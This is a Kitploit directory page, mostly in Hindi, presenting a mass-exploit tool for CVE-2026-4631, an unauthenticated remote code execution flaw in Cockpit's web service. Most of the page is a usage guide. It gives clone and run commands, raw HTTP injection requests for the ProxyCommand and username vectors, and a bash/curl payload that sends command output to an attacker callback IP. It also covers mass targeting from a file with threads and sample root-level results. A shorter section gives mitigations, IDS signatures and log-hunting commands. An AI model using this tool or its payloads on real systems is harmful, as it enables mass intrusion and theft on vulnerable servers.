Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-4631-cockpit-RCE — SSH कमांड-लाइन तर्क इंजेक्शन के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन | Cockpit संस्करण 327 – 359 | CVSS 9.8 गंभीर | CWE-78 | Kitploit
उपकरण/GitHubGitHub/exdev994/cve-2026-4631-cockpit-rce
भेद्यता स्कैनरपेलोड जनरेशनशोषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंगरिमोट एक्सेस टूल
GitHubexdev994/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

SSH कमांड-लाइन तर्क इंजेक्शन के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन | Cockpit संस्करण 327 – 359 | CVSS 9.8 गंभीर | CWE-78

रिपॉजिटरी देखें
82 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-4631 — Cockpit मास एक्सप्लॉइट टूल

SSH कमांड-लाइन आर्गुमेंट इंजेक्शन के माध्यम से अनऑथेंटिकेटेड रिमोट कोड एक्सीक्यूशन Cockpit संस्करण 327 – 359 | CVSS 9.8 क्रिटिकल | CWE-78

CVE-2026-4631 के लिए Cockpit वेब सर्विस (cockpit-ws, पोर्ट 9090) पर मास एक्सप्लॉइटेशन टूल। वल्नरेबिलिटी स्कैन मोड, बिल्ट-इन HTTP कॉलबैक लिसनर के माध्यम से कमांड आउटपुट कैप्चर के साथ RCE मोड, --auto मोड (डिफ़ॉल्ट कमांड id के साथ एक ही बार में स्कैन + एक्सप्लॉइट), बिना पोर्ट वाले टार्गेट के लिए पोर्ट :9090 ऑटो-एड, दोनों अटैक वेक्टर (ProxyCommand + यूज़रनेम %r इंजेक्शन), फ़ाइल से मास टार्गेट, कॉन्करेंसी थ्रेडिंग, और संरचित परिणाम आउटपुट सपोर्ट करता है।

लेखक: 0xNuts


क्विक स्टार्ट

क्लोन और इंस्टॉल करें

root@kitploit:~
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt

टार्गेट तैयार करें

targets.txt संपादित करें — एक पंक्ति में एक होस्ट। यदि पोर्ट नहीं है तो :9090 स्वचालित रूप से जोड़ा जाता है:

root@kitploit:~
192.168.1.10
cockpit.example.com
https://manage.lab.local

चलाएँ (AUTO मोड — अनुशंसित)

root@kitploit:~
# Scan + exploit sekali jalan, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTACKER>

# Contoh output di results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]

अन्य मोड

root@kitploit:~
# Scan vulnerability saja (tanpa exploit)
python3 exploit.py -f targets.txt --scan -o scan_results.txt

# RCE eksplisit dengan command custom
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTACKER>

# Single target
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTACKER>

कॉलबैक नोट्स

CVE-2026-4631 एक blind RCE है — कमांड का आउटपुट HTTP रिस्पॉन्स में वापस नहीं आता। टूल आउटपुट कैप्चर करने के लिए बिल्ट-इन HTTP लिसनर (डिफ़ॉल्ट पोर्ट 8888) का उपयोग करता है। सुनिश्चित करें:

  1. --callback-ip वह IP है जो टार्गेट से रीचेबल हो (127.0.0.1 नहीं)
  2. फ़ायरवॉल इनबाउंड TCP पोर्ट 8888 की अनुमति दे (या कस्टम --listener-port)
  3. टार्गेट अटैकर के IP तक आउटबाउंड HTTP कर सके

फिक्स / मिटिगेशन के उपाय (डिफेंडर)

1. Cockpit अपग्रेड करें (अनिवार्य)

root@kitploit:~
# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws

# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws

# Verifikasi versi (harus >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian
rpm -q cockpit-ws                            # RHEL

2. रिमोट लॉगिन बंद करें (वर्कअराउंड)

/etc/cockpit/cockpit.conf संपादित करें:

root@kitploit:~
[WebService]
LoginTo = false

सर्विस रीस्टार्ट करें:

root@kitploit:~
sudo systemctl restart cockpit

3. नेटवर्क सेगमेंटेशन

पोर्ट 9090 को केवल मैनेजमेंट नेटवर्क तक सीमित करें:

root@kitploit:~
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP

4. OpenSSH >= 9.6 में अपग्रेड करें

अर्ली होस्टनेम वैलिडेशन के माध्यम से Vector 1 (ProxyCommand इंजेक्शन) को मिटिगेट करता है:

root@kitploit:~
ssh -V   # harus OpenSSH_9.6 atau lebih baru

5. मैनुअल पैच (बैकपोर्ट)

यदि 360 में अपग्रेड नहीं कर सकते, तो पैच कमिट लागू करें:

  • cockpit 9d0695647 — beiboot.py और cockpitauth.c में -- सेपरेटर जोड़ें
  • ferny 44ec511c99 — session.py में -- जोड़ें

पैच विवरण: docs/PATCH_ANALYSIS.md देखें


सामग्री सूची

  1. वल्नरेबिलिटी सारांश
  2. अटैक वेक्टर
  3. एक्सप्लॉइटेशन पूर्वापेक्षाएँ
  4. इंस्टॉलेशन
  5. उपयोग
  6. ऑपरेशन मोड
  7. निष्पादन उदाहरण
  8. आउटपुट फॉर्मेट
  9. टूल आर्किटेक्चर
  10. फ़ाइल संरचना
  11. ब्लाइंड RCE कैप्चर तंत्र
  12. डिटेक्शन और मिटिगेशन
  13. कानूनी अस्वीकरण
  14. संदर्भ

वल्नरेबिलिटी सारांश

फ़ील्डविवरण
CVE IDCVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
Severityक्रिटिकल (CVSS 9.8)
CWECWE-78 — OS कमांड इंजेक्शन
AffectedCockpit 327 – 359
Fixed inCockpit 360+
Auth requiredनहीं (प्री-ऑथेंटिकेशन)
ReporterJelle van der Waa
Servicecockpit-ws, डिफ़ॉल्ट पोर्ट 9090

Cockpit v327 ने cockpit-ssh (libssh) को python3 -m cockpit.beiboot से बदल दिया जो सिस्टम OpenSSH ssh क्लाइंट को इनवोक करता है। यूज़र-नियंत्रित इनपुट — URL पाथ से होस्टनेम और Authorization: Basic हेडर से यूज़रनेम — बिना सैनिटाइज़ेशन और बिना -- end-of-options सेपरेटर के ssh को पास किया जाता है। इंजेक्शन क्रेडेंशियल वेरिफिकेशन से पहले होता है, इसलिए वैध लॉगिन की आवश्यकता नहीं होती।


अटैक वेक्टर

वेक्टर 1 — ProxyCommand इंजेक्शन (प्राथमिक)

URL पाथ से होस्टनेम को SSH विकल्प -oProxyCommand=<cmd> के साथ इंजेक्ट किया जाता है।

root@kitploit:~
GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")

SSH -oProxyCommand=<cmd> को विकल्प के रूप में पार्स करता है और <cmd> को ProxyCommand के रूप में एक्सीक्यूट करता है। कमांड cockpit-ws यूज़र प्रोसेस के रूप में चलती है।

पूर्वापेक्षा: टार्गेट पर OpenSSH < 9.6। OpenSSH 9.6+ में अर्ली होस्टनेम वैलिडेशन होता है जो मेटाकैरेक्टर्स को ब्लॉक करता है।

वेक्टर 2 — यूज़रनेम %r टोकन इंजेक्शन (द्वितीयक)

Authorization: Basic हेडर से यूज़रनेम को शेल कमांड के साथ इंजेक्ट किया जाता है।

root@kitploit:~
GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <CMD>; #:x")

SSH Match exec डायरेक्टिव में %r को यूज़रनेम के साथ एक्सपैंड करता है → शेल इंजेक्टेड कमांड को एक्सीक्यूट करता है।

पूर्वापेक्षा: टार्गेट ssh_config में %r टोकन के साथ Match exec डायरेक्टिव हो।


एक्सप्लॉइटेशन पूर्वापेक्षाएँ

अटैकर पक्ष (टूल चलाने वाली मशीन)

  • Python 3.8+
  • Cockpit टार्गेट से रीचेबल IP (कॉलबैक लिसनर के लिए)
  • लिसनर के लिए खुला पोर्ट (डिफ़ॉल्ट 8888)
  • फ़ायरवॉल टार्गेट से लिसनर पोर्ट तक इनबाउंड की अनुमति दे

टार्गेट पक्ष (Cockpit इंस्टेंस)

  • Cockpit संस्करण 327 – 359
  • पोर्ट 9090 रीचेबल
  • रिमोट लॉगिन फीचर (LoginTo) डिसेबल न हो
  • Vector 1 के लिए: OpenSSH < 9.6
  • Vector 2 के लिए: Match exec %r के साथ ssh_config

इंस्टॉलेशन

root@kitploit:~
# Clone dari GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE

# Install dependency
pip install -r requirements.txt

# Verifikasi
python3 exploit.py --help

निर्भरताएँ

  • requests>=2.31 — एक्सप्लॉइट रिक्वेस्ट के लिए HTTP क्लाइंट
  • colorama>=0.4 — रंगीन टर्मिनल आउटपुट

लिसनर के लिए कोई अतिरिक्त निर्भरता नहीं है (stdlib http.server + threading का उपयोग करता है)।


उपयोग

root@kitploit:~
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
                  [-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
                  [-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
                  [--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
                  [--user-agent UA] [-v] [--no-color]

CVE-2026-4631 Cockpit Mass Exploit — Unauthenticated RCE via SSH Argument Injection

optional arguments:
  -h, --help            show this help message and exit
  -t, --target          single target URL/host (port auto-added jika absent)
  -f, --file            file containing list of targets (one per line)
  --default-port        port yang di-append jika target tanpa port (default: 9090)
  -c, --cmd             command to execute (default: "id" pada mode --auto / RCE)
  --scan                vulnerability scan mode (no RCE, probe endpoint only)
  --auto                scan + exploit sekali jalan, command default "id"
  --vector              exploit vector: auto|proxycommand|username (default: auto)
  -o, --output          result output file (default: results.txt)
  --callback-ip         attacker IP reachable from target (for callback listener)
  --listener-port       callback listener port (default: 8888)
  --threads             concurrent workers (default: 10)
  --timeout             seconds to wait for callback per target (default: 10)
  --delay               delay between requests in seconds (default: 0)
  --proxy               HTTP proxy for debugging (e.g. http://127.0.0.1:8080)
  --user-agent          custom User-Agent string
  -v, --verbose         verbose output (debug)
  --no-color            disable colored output

ऑपरेशन मोड

मोड 1 — वल्नरेबिलिटी स्कैन (--scan)

बिना एक्सप्लॉइट के एंडपॉइंट /cockpit+=probe-host/login पर प्रोब करें। डिटेक्शन:

  • रिस्पॉन्स हेडर्स/बॉडी के माध्यम से Cockpit फ़िंगरप्रिंट
  • वल्नरेबल लॉगिन फ्लो सक्रिय (रिस्पॉन्स कोड 401/403/200/500)
  • यदि संभव हो तो संस्करण अनुमान

कोई हानिकारक पेलोड नहीं भेजता, कॉलबैक लिसनर की आवश्यकता नहीं होती।

मोड 2 — कमांड कैप्चर के साथ RCE (-c "cmd")

टार्गेट पर कमांड एक्सीक्यूट करें, कॉलबैक के माध्यम से आउटपुट कैप्चर करें:

  • बिल्ट-इन HTTP लिसनर बैकग्राउंड में शुरू होता है
  • पेलोड ProxyCommand कमांड को curl के साथ लपेटकर लिसनर तक एक्सफिल करता है
  • आउटपुट base64 में एन्कोड होकर लिसनर को POST किया जाता है
  • लिसनर डिकोड करता है और रिक्वेस्ट ID के माध्यम से टार्गेट से मैच करता है
  • परिणाम आउटपुट फ़ाइल में लिखा जाता है
  • यदि -c नहीं दिया गया, तो डिफ़ॉल्ट कमांड = id

मोड 3 — AUTO (--auto) — अनुशंसित

एक ही पास में स्कैन + एक्सप्लॉइट, डिफ़ॉल्ट कमांड id:

  1. टार्गेट सूची पार्स करें (यदि पोर्ट नहीं है तो 9090 ऑटो-एड)
  2. कॉलबैक लिसनर शुरू करें
  3. प्रति टार्गेट: स्कैन → यदि VULN है तो सीधे id के साथ एक्सप्लॉइट करें (या -c से ओवरराइड)
  4. NOT VULN / UNREACHABLE टार्गेट्स को स्किप किया जाता है (एक्सप्लॉइट नहीं किया जाता)
  5. परिणाम: host [ uid=0(root) ... ]

मोड 4 — ऑटो वेक्टर (--vector auto)

पहले Vector 1 (ProxyCommand) आज़माएँ। यदि रिस्पॉन्स OpenSSH >= 9.6 (होस्टनेम वैलिडेशन एरर) दिखाता है, तो Vector 2 (यूज़रनेम %r) पर फॉलबैक करें।

ऑटो-पोर्ट नॉर्मलाइज़ेशन

targets.txt में बिना पोर्ट वाली प्रत्येक एंट्री में स्वचालित रूप से :9090 जोड़ा जाता है:

root@kitploit:~
host              → http://host:9090
host:9090         → http://host:9090
https://host      → https://host:9090
192.168.1.10      → http://192.168.1.10:9090
[::1]             → http://[::1]:9090

निष्पादन उदाहरण

AUTO — स्कैन + एक्सप्लॉइट (अनुशंसित)

root@kitploit:~
# Target tanpa port → auto :9090, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip 10.10.10.10

# Override command
python3 exploit.py -f targets.txt --auto -c "whoami" --callback-ip 10.10.10.10

आउटपुट results.txt:

root@kitploit:~
# CVE-2026-4631 mass exploit results — 2026-07-12 00:42
# mode: auto
# command: id
# vector: auto
example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
10.0.0.5:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
host3.example.com:9090 [ VULN - no callback received (OpenSSH >= 9.6?) ]
host4.example.com:9090 [ NOT VULN ]

वल्नरेबिलिटी स्कैन — मास टार्गेट

root@kitploit:~
python3 exploit.py -f targets.txt --scan -o scan_results.txt

आउटपुट scan_results.txt:

root@kitploit:~
target1.example.com:9090 [ VULN - Cockpit login flow active (HTTP 401) ]
target2.example.com:9090 [ NOT VULN ]
target3.example.com:9090 [ UNREACHABLE (ConnectionError) ]

RCE — सिंगल टार्गेट

root@kitploit:~
python3 exploit.py -t target -c "id" --callback-ip 10.10.10.10
# equivalent: -t http://target:9090/

आउटपुट:

root@kitploit:~
target:9090 [ uid=0(root) gid=0(root) groups=0(root) ]

RCE — कमांड कैप्चर के साथ मास टार्गेट

root@kitploit:~
python3 exploit.py -f targets.txt -c "id" -o results.txt --callback-ip 10.10.10.10 --threads 20

RCE — विशिष्ट वेक्टर

root@kitploit:~
# Force Vector 1 ProxyCommand
python3 exploit.py -f targets.txt -c "cat /etc/passwd" --vector proxycommand

# Force Vector 2 username %r
python3 exploit.py -f targets.txt -c "whoami" --vector username

कॉन्करेंसी और टाइमआउट ट्यूनिंग

root@kitploit:~
python3 exploit.py -f targets.txt -c "id" \
  --callback-ip 10.10.10.10 \
  --listener-port 9999 \
  --threads 50 \
  --timeout 15 \
  --delay 0.2

प्रॉक्सी के माध्यम से डीबग

root@kitploit:~
python3 exploit.py -t http://target:9090/ -c "id" --proxy http://127.0.0.1:8080 -v

आउटपुट फॉर्मेट

परिणाम फ़ाइल का फॉर्मेट प्रति-टार्गेट एक पंक्ति:

root@kitploit:~
<host> [ <status_or_output> ]
स्थितिअर्थ
uid=0(root) ...RCE सफल, कमांड आउटपुट कैप्चर हुआ
VULN - no callback received (OpenSSH >= 9.6?)टार्गेट वल्नरेबल है लेकिन Vector 1 OpenSSH 9.6+ द्वारा ब्लॉक है, Vector 2 आज़माएँ
VULN - endpoint activeस्कैन मोड, वल्नरेबल एंडपॉइंट डिटेक्ट हुआ
NOT VULNCockpit >= 360 या एंडपॉइंट मौजूद नहीं
UNREACHABLEकनेक्शन विफल / कनेक्शन टाइमआउट
ERROR: <msg>निष्पादन के दौरान एक्सेप्शन

परिणाम फ़ाइल का हेडर टाइमस्टैम्प, कमांड, वेक्टर और टार्गेट की संख्या दर्ज करता है।


टूल आर्किटेक्चर

root@kitploit:~
flowchart TD
    CLI["exploit.py<br/>argparse CLI + banner"] --> Parser["core/target.py<br/>parse & normalize targets"]
    CLI --> Engine["core/engine.py<br/>orchestrator"]
    Engine --> Listener["core/listener.py<br/>HTTP callback server thread"]
    Engine --> Pool["ThreadPoolExecutor<br/>concurrent workers"]
    Pool --> Scanner["core/scanner.py<br/>vuln probe"]
    Pool --> Exploit["core/exploit.py<br/>payload generator"]
    Scanner --> Req1["requests GET<br/>/cockpit+=test/login"]
    Exploit --> Req2["requests GET<br/>/cockpit+=-oProxyCommand=PAYLOAD/login"]
    Req2 --> Target["Cockpit target :9090"]
    Target -->|"blind RCE<br/>curl callback"| Listener
    Listener --> Shared["shared dict<br/>REQID -> output"]
    Engine --> Result["utils/result.py<br/>write results.txt"]
    Shared --> Engine

घटक

  • exploit.py — एंट्री पॉइंट, आर्गुमेंट पार्स करता है, इंजन को डिस्पैच करता है, बैनर रेंडर करता है
  • core/target.py — -f file / -t url पढ़ता है, नॉर्मलाइज़ेशन करता है (http:// जोड़ता है, डिफ़ॉल्ट पोर्ट 9090), डिडुप्लिकेशन करता है
  • core/scanner.py — --scan मोड, एंडपॉइंट प्रोब, Cockpit फ़िंगरप्रिंट, वल्नरेबिलिटी अनुमान
  • core/exploit.py — प्रति वेक्टर पेलोड जनरेट करता है, requests के माध्यम से एक्सप्लॉइट रिक्वेस्ट भेजता है
  • core/listener.py — --callback-ip:--listener-port पर ThreadingHTTPServer, ?id=REQID&out=BASE64 पार्स करता है, शेयर्ड डिक्ट में सहेजता है
  • core/engine.py — ऑर्केस्ट्रेटर: लिसनर शुरू करता है, ThreadPoolExecutor स्पॉन करता है, रिक्वेस्ट ID के माध्यम से कॉलबैक को टार्गेट से मैच करता है, टाइमआउट हैंडल करता है, परिणाम लिखता है
  • utils/banner.py — ASCII बैनर
  • utils/result.py — host [ output ] फॉर्मेट के साथ परिणाम फ़ाइल लेखक

फ़ाइल संरचना

root@kitploit:~
CVE-2026-4631-cockpit-RCE/
├── exploit.py                  # entry point CLI
├── requirements.txt            # dependencies
├── README.md                   # dokumentasi ini
├── targets.txt                 # contoh target list
├── results.txt                 # output (generated)
├── core/
│   ├── __init__.py
│   ├── target.py               # parser target
│   ├── scanner.py              # mode scan vuln
│   ├── exploit.py              # payload generator + sender
│   ├── listener.py             # HTTP callback server
│   └── engine.py               # orchestrator
├── utils/
│   ├── __init__.py
│   ├── banner.py               # ASCII banner
│   └── result.py               # result writer
└── docs/
    ├── VULN_ANALYSIS.md        # analisis mendalam vulnerability
    ├── PATCH_ANALYSIS.md       # analisis patch commit
    └── DETECTION.md            # signature deteksi

ब्लाइंड RCE कैप्चर तंत्र

CVE-2026-4631 एक blind RCE है — कमांड आउटपुट Cockpit के HTTP रिस्पॉन्स में वापस नहीं भेजा जाता। टूल बिल्ट-इन HTTP कॉलबैक लिसनर के साथ इसका समाधान करता है:

फ्लो

  1. लिसनर शुरू — थ्रेडेड HTTP सर्वर --callback-ip:--listener-port पर सुनता है
  2. REQID जनरेट करें — प्रति टार्गेट, अद्वितीय 8-कैरेक्टर UUID4 hex
  3. पेलोड बनाएँ — ProxyCommand कमांड को curl एक्सफिल के साथ लपेटता है:
    root@kitploit:~
    bash -c 'curl -s http://CALLBACK_IP:PORT/cb?id=REQID --data "$(CMD | base64 -w0)"'
    
  4. पेलोड को URL-एन्कोड करें — होस्टनेम फ़ील्ड में इंजेक्ट करें:
    root@kitploit:~
    GET /cockpit+=-oProxyCommand=<URL_ENC_PAYLOAD>/login
    Authorization: Basic base64("x:x")
    
  5. रिक्वेस्ट भेजें — requests.get के माध्यम से, self-signed प्रमाणपत्र के लिए verify=False
  6. कॉलबैक की प्रतीक्षा करें — --timeout तक शेयर्ड डिक्ट results[REQID] को पोल करें
  7. मैच और डिकोड — यदि कॉलबैक आता है, तो base64 आउटपुट डिकोड करें, REQID के माध्यम से टार्गेट से मैच करें
  8. परिणाम लिखें — host [ decoded_output ] आउटपुट फ़ाइल में

कॉलबैक के बिना फॉलबैक

यदि कॉलबैक के बिना टाइमआउट होता है, तो SSH एरर रिस्पॉन्स जाँचें:

  • होस्टनेम वैलिडेशन एरर → OpenSSH >= 9.6, Vector 1 ब्लॉक → VULN - no callback (OpenSSH >= 9.6?)
  • कनेक्शन एरर → UNREACHABLE
  • एंडपॉइंट मौजूद नहीं → NOT VULN

कॉन्करेंसी

  • ThreadPoolExecutor(max_workers=--threads) प्रति टार्गेट समानांतर
  • threading.Lock के साथ शेयर्ड dict[REQID] -> target_host + dict[REQID] -> output
  • ThreadingHTTPServer समवर्ती कॉलबैक हैंडल करता है
  • प्रति-टार्गेट try/except: कनेक्शन एरर, SSL एरर, टाइमआउट

डिटेक्शन और मिटिगेशन

नेटवर्क IDS सिग्नेचर

root@kitploit:~
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login

इन पर ध्यान दें:

  • URL पाथ में -oProxyCommand=
  • डिकोडेड Authorization: Basic वैल्यू में सेमीकोलन (;)

लॉग हंटिंग

root@kitploit:~
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
journalctl _COMM=ssh | grep -v "^--$"

मिटिगेशन

  1. Cockpit >= 360 में अपग्रेड करें (अनिवार्य फिक्स)
  2. रिमोट लॉगिन बंद करें — /etc/cockpit/cockpit.conf:
    root@kitploit:~
    [WebService]
    LoginTo = false
    
  3. नेटवर्क सेगमेंटेशन — पोर्ट 9090 को मैनेजमेंट नेटवर्क तक सीमित करें:
    root@kitploit:~
    iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
    iptables -A INPUT -p tcp --dport 9090 -j DROP
    
  4. OpenSSH >= 9.6 में अपग्रेड करें — Vector 1 को मिटिगेट करता है (अर्ली होस्टनेम वैलिडेशन)

संस्करण जाँच

root@kitploit:~
dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian/Ubuntu
rpm -q cockpit-ws                            # RHEL/Fedora
# Vulnerable: 327 <= version <= 359

कानूनी अस्वीकरण

यह टूल अधिकृत पेनेट्रेशन टेस्टिंग, सुरक्षा अनुसंधान, और वल्नरेबिलिटी वैलिडेशन के लिए बनाया गया है, उन सिस्टम्स पर जिनके आप मालिक हैं या जिनके परीक्षण की लिखित अनुमति आपके पास है।

मालिक की स्पष्ट अनुमति के बिना सिस्टम पर इस टूल का उपयोग अवैध है और लागू कानून के अनुसार आपराधिक दंड हो सकता है (इंडोनेशिया में: UU ITE धारा 30-33)।

लेखक इस टूल के दुरुपयोग के लिए ज़िम्मेदार नहीं है। इसे नैतिक और ज़िम्मेदारी से उपयोग करें।

अधिकृत उपयोग के मामले:

  • अपने स्वयं के इंफ्रास्ट्रक्चर पर सुरक्षा ऑडिट
  • लिखित दायरे के साथ पेनेट्रेशन टेस्टिंग एंगेजमेंट
  • लैब वातावरण में पैच वैलिडेशन
  • CTF और सुरक्षा प्रशिक्षण

संदर्भ

संसाधनURL
GitHub एडवाइज़रीhttps://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427
OSS-Security डिस्क्लोज़रhttps://www.openwall.com/lists/oss-security/2026/04/10/5
Red Hat Bugzillahttps://bugzilla.redhat.com/show_bug.cgi?id=2450246
NVD एंट्रीhttps://nvd.nist.gov/vuln/detail/cve-2026-4631
फिक्स कमिट (cockpit)https://github.com/cockpit-project/cockpit/commit/9d0695647
फिक्स कमिट (ferny)https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99
CPython argparse बगhttps://github.com/python/cpython/issues/66623
OpenSSH 9.6 होस्टनेम वैलिडेशनhttps://github.com/openssh/openssh-portable/commit/7ef3787
रेफरेंस PoChttps://github.com/cyberheartmi9/CVE-2026-4631-cockpit-RCE

लाइसेंस

अनुसंधान और अधिकृत टेस्टिंग के उद्देश्यों के लिए। बिना अनुमति के व्यावसायिक वितरण के लिए नहीं।

टूल डाउनलोड करें